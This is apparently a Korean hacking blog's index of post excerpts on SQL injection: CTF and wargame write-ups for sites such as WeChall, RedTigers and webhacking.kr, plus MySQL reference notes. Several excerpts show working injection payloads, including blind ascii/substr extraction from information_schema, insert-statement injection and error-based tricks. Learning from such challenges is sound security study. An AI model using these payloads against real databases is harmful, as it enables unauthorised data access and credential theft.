webhacking/sql, sql injection 98

새로 찾아낸 error based sql injection( >5.5 )

http://frostyhacks.blogspot.kr/2014/10/one-sqli-to-rule-them-all.html polygon에서 sql문 실행 가능함.mysql> select POLYGON(12.33 12.55,13.55; select id from prob;);ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '12.55,13.55' at line 1+-------+| id |+-------+| guest || admin |+-------+2 rows in set (..

WeChall Table Names, Table Names II, Order By Query

Table Names database_tablename 형식이 답. db = http://www.wechall.net/challenge/table_names/challenge.php?username=test' or if((select ascii(substr(database(),1,1))=32),1,'test')%23&password=test&login=login table = http://www.wechall.net/challenge/table_names/challenge.php?username=test' or if((select ascii(substr(group_concat(table_name),1,1))=32 from information_schema.tables where table_schema=d..

Quine

Quine라는게 있다. 이번 jff3에서 rubiya님이 냈던 mbm2문제가 이걸로 푸는건데..... Quine라는걸 지금 처음 봤다.(휴.) 앞으로 ctf좀 자주 뒤적뒤적해봐야겠다. Quine라는건 자기 자신의 소스코드를 출력하는걸 뜻한다고 한다. https://en.wikipedia.org/wiki/Quine_(computing) 언제적 코드게이트인지는 모르지만 코드게이트에 이 문제가 나왔었고, 좋은 블로그에 풀이와 설명이 있어서 이해할 수 있었다. source : http://www.shysecurity.com/posts/SQLi-Quine SELECT $$ AS Quine $$ => REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR(36),$$) 이게 기본 형태이고 $$..

chall.tasteless.eu Tournament, Fred's cms

Tournament 한참을 삽질했다. 딱봐도 아래에 힌트가 쿼리로 나와있으니 sqli이고, name과 text를 입력받는것을 보아 insert문으로 들어가고, 대충 쿼리로 집어넣으면 될수 있음을 알 수 있다. 이것저것 가능한 경우의 수를 모두 대입해봤는데 별로 반응이 없었다. name에 \를 넣으면 text에는 어떤 값을 넣어도 출력이 제대로 안된다는걸 확인하고, name에 인젝션을 하면 된다고 생각했다.(text에는 \를 넣어도 제대로 출력된다.) name에 a',(select flag from level15_flag))#를 넣어봤는데 계속 실패했다. 한참을 고민하다가 이전에 풀었었던 http://qkqhxla1.tistory.com/368 의 아래문제(Never Trust The Obvious) 에서..

RedTigers Hackit 8,9,10

8. 전에 여기서 해봤으나 원인 모를 이유로 답을 못찾았었다. 이유를 알아냈다. locate함수는 위치를 반환한다. mysql> select * from prob;+-------+----------------------+| id | pw |+-------+----------------------+....| admin | 123 || admin | 008c5926ca861023c1d2 || admin | \123 |... 중략 mysql> select locate(char(48),pw) from prob;+---------------------+| locate(char(48),pw) |.... 중략| 0 || 1 || 0 |... 중략 숫자 0의 위치를 반환해보라고 할 경우, 아래처럼 첫번째 인덱스만 나타..

wixxerd.com Adjoined, Inserted, Who's the custodian? (sql programming)

Adjoined들어가서 sql문으로 테이블을 검색해볼수 있다. 각각의 테이블은 아래와 같다. 각각의 이름, 비밀번호, 역할을 출력하는게 목적이다. 간단한 sql 문제이다. 답은 아래에.. user_rolesIDROLEIDUSERID112231325444556643 usersIDPASSWORDUNAME15922B67C56DF1BA2339CB7FC43F9F29DAdmin2c55cbda26407b5d2650d530afd387eedCletus34155894047994994173745FBD8176A2ELarry41870180768DBF817D4A213060CFC7AE9Joe55F4DCC3B5AA765D61D8327DEB882CF99Linda684169a8d5b3289e8ece00d7735081b53Sarah ro..

mysql 레퍼런스 12 Functions and Operators 나머지

mysql 레퍼런스 분석 12 Functions and Operatorshttps://dev.mysql.com/doc/refman/5.7/en/index.html 의.12.2 Type Conversion in Expression Evaluation 부분 연구. https://dev.mysql.com/doc/refman/5.7/en/type-conversion.html숫자+문자열시 자동으로 형변환이 된다. mysql> SELECT 1+'1'; -> 2 자동으로 형변환이 되는데 이것도 정밀도란게 있어서 다른 결과가 나올 수도 있다. mysql> SELECT '18015376320243458' = 18015376320243458; -> 1 mysql> SELECT '18015376320243459' = 180..

mysql 레퍼런스 12.1 Function and Operator Reference

mysql 레퍼런스 분석 12 Functions and Operatorshttps://dev.mysql.com/doc/refman/5.7/en/index.html 의.12.1 Function and Operator Reference 부분 연구. 12.1 Function and Operator Referencehttps://dev.mysql.com/doc/refman/5.7/en/func-op-summary-ref.html함수가 엄청나게 많은데 나중에 쓸수있을것같은건 따로 표시. 12.2 Type Conversion in Expression EvaluationNameDescriptionABS()Return the absolute valueACOS()Return the arc cosineADDDATE() /..

시간 기반 sqli 인젝션2

해킹공부에서 중요한 것 중에 하나가 창의력인듯 싶다. 이런 문제가 있었다. ... 중략 if(preg_match('/admin|and|or|if|coalesce|case|_|\./i', $_POST['uid'])) exit("No Hack ~_~"); $r = mysql_fetch_array(mysql_query("select id from member where id='{$_POST[uid]}'")); // if($r['id'] !== "admin") exit("1st sandbox"); $r = mysql_fetch_array(mysql_query("select id from member where no={$_POST[uid]}")); // if($r['id'] !== "admin") exit("2n..

mysql 레퍼런스 9. Language Structure

https://dev.mysql.com/doc/refman/5.7/en/index.html 의.9. Language Structure 부분 연구. 버전은 가장 최신의 5.7을 볼 예정.필요한부분은 차차 추가해나갈 예정. 9.1 Literal Values 9.1.1 String Literalshttps://dev.mysql.com/doc/refman/5.7/en/string-literals.html 문자열은'나 "로 둘러쌓인것.SELECT _latin1'string'; 처럼 character set을 설정해서 출력할수 있음.SELECT N'some text'; or SELECT n'some text'; or SELECT _utf8'some text'; etc.. mysql에서의 특별한 문자들.(아스키값 같..

WeChall The Guestbook, Blinded by the light, Addslashes

The Guestbook글을 써서 올릴 수 있다. 소스를 분석해보면. $playerid = gbook_playerID(true); // Current Player$userid = 0; # guestbook has no login yet.$time = time();$ip = gbook_getIP();$message = mysql_real_escape_string($message);$query = "INSERT INTO gbook_book VALUES('$playerid', $userid, $time, '$ip', '$message')"; 부분에서 취약점을 발견할 수 있다. 내가 입력한 $message는 필터링이 잘 되어있지만, playerid나 ip값은 다른 함수에서 얻어온다. playerid가 값을 얻어..

chall.tasteless.eu Unsolvable, Never Trust The Obvious

Unsolvable. 들어가보면 admin으로 로그인하라고 한다. register을 통해 가입할수 있다.가입을 할때 성공적으로 가입하면 아이디 : 비밀번호 형식으로 잘 가입됬음을 알려준다. 처음에는 insert문에 인젝션하는거인줄 알고 아이디에 a','1234'),('admin','1234')# 이런식으로 입력을 해봤는데, 결과가 이리 나왔다. new user has been registered: a\',\'1234\'),(\'adm : 1234 뒤의 1234는 내가 입력한 비밀번호이고, 아이디를 살펴보면 20글자에서 잘렸음을 알 수 있다.그러면 아이디를 admin 1 (21글자)로, 비밀번호를 1234로 입력하면 어쨋든 아이디는 다르니까 admin이 안나오고, 가입시에는 20자리까지 즉 맨마지막의 1은..

chall.stypr.com YetAnotherSQL

들어가서 소스를 보면 ./index.php.bak 를 다운받아서 소스를 볼 수 있다.다운받아 보면 이전에 adm1nkyj님의 join문제와 소스가 거의 똑같다. 그런데 한번 더 꼬아놨다. 관련자료 : http://qkqhxla1.tistory.com/321 어쨋든 이 문서를 보고 컬럼 정보를 하나하나 알아내보자. id와 pw컬럼정보가 둘다 없으므로 id부터하나하나 뽑아보자. id = and (select * from (select * from user join user a) b)--+pw = \를 입력해보면 dkfHDdladkID 라는 아이디 컬럼이 나온다. 그럼 pw 컬럼도 뽑아보면.id = and (select * from (select * from user join user a using(dkfHD..

wargame.kr SimpleBoard

http://wargame.kr:8080/SimpleBoard/ 간단하다. 아무거나 눌러보면 http://wargame.kr:8080/SimpleBoard/read.php?idx=4이렇게 idx=4가 붙는데, 여기에 인젝션이 가능하다. 문제 힌트에는 union을 사용하라고 했지만그냥 블라인드 인젝션으로 풀었다. 소스를 보면 클래스가 두개 있는데, 이걸 읽으면서 어떻게 풀어라~라는게 bughela님의 의도같았지만.... 굳이 소스를 몰라도 풀수 있었다.(ㅠㅠ 죄송해요) ?idx=4 or 1=1%23 처럼 입력해보면 1이 나온다.?idx=4 or 1=0%23처럼 입력해보면 4가 나온다. 인젝션이 가능하다. ?idx=2 or (select ascii(substr(group_concat(table_name),1..

mysql 새발견, 5.7.5이상 에러기반 인젝션

구독하고 있던 rubiya님의 블로그에서 요상한 주석을 하나 발견했다. 그건 `인데..... ``사이에 쓰면 주석이 된다. 대충 용도를 확인할수 있다. 아마도 조금 공부해본 사람들은 '아하! /**/ 같은거구나'라고 생각하겠지만 이 주석은 중요한점이 있다. php환경과 같이 쓸 시에 그냥 ` 하나만 쓰면 #주석이나 -- 주석처럼 한줄주석으로 작동한다는 것이다!! 이건 실험용 코드인데(네이버 어딘가에서 가져옴.), get방식으로 받은 a가 컬럼명이 된다. 모든 컬럼을 가져오려면 *를 보내면 된다. 에러가 발생하면 그냥 종료되도록 해 놨기 때문에 에러가 발생하지 않고 잘 되는지 확인 가능하다. (참고로 매직 쿼터 옵션 등등 옵션은 본인이 알아서 할것) 이걸로 실험해보았는데.. 아래 스샷을 보면 알거다. 에러..

sql injection 문서.

출처.http://wh1ant.kr/archives/[Hangul]%20False%20SQL%20injection%20and%20Advanced%20blind%20SQL%20injection.txt 출처를 적어놨지만 문서 작성자님이 여기에 게시되기 원하지 않을 경우 바로 삭제하겠습니다. 나중에 지워질지 몰라서 문서를 통째로 가져왔다. ######################################################################### # # # Exploit Title: False SQL injection and advanced blind SQL injection # # Date: 21/12/2011 # # Author: wh1ant # # # ################..

webhacking.kr 45, 46

45. 그냥 바로 제출을 눌러보면http://webhacking.kr/challenge/web/web-22/index.php?id=guest&pw=guest 와 같은 url이 되고hi guest가 나온다. sqli라고 했으므로 id나 pw둘중에다가 잘 인젝션하면 될것이다.소스가 있는데 소스를 보면 $pw="?????"; if($_GET[id] && $_GET[pw]) { $_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr'); $data=@mysql_fetch_array(mysql_query("select id from members where id='$_GET[id]' and pw=md5('$_GET[pw]')")); if(eregi("admin",$_G..

webhacking.kr 40

딱봐도 sql 인젝션 문제이고, 그냥 로그인해보면 http://webhacking.kr/challenge/web/web-29/index.php?no=1&id=guest&pw=guest 라는 url로요청이 간다. 로그인이 성공했다는 의미로 Success - guest가 뜬다. 소스코드가 없어도 인자를 보내는?no=1&id=guest&pw=guest 부분을 보면 guest가 들어가는 부분들은싱글쿼터가 씌워져 있을거라 예상할 수 있다. 그리고 webhacking.kr은 앞에서 말했듯이 매직 쿼터옵션이 켜져있어서 '를 입력해서 우회가 불가능하다. 그러면 no=1부분은 정수이므로 안 씌워놨을 수도있다고 가정해 볼 수도 있다.(요즘은 대부분 정수도 보안을 위해 ''를 씌워놓지만 그냥 숫자만 올거라고가정하고 안 씌워..